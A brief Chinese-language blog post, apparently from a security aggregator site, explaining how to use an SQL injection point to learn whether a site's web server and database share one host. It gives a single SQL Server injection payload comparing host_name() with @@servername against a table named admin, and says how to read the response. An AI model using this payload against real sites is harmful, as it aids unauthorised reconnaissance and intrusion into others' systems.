判断网站和数据库是否站库分离今天来讲是利用sql注入点来判断
在注入点后加上:
and exists(select * from admin where 1=(Select (case when host_name()=@@servername then 1 else 0 end)))
注意:
admin一定要是存在的表段,如果返回正常,说明网站和数据库是在同一服务器,如果不正常则说明是站库分离的
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
聚合网络安全,存储安全技术文章,融合安全最新讯息
评论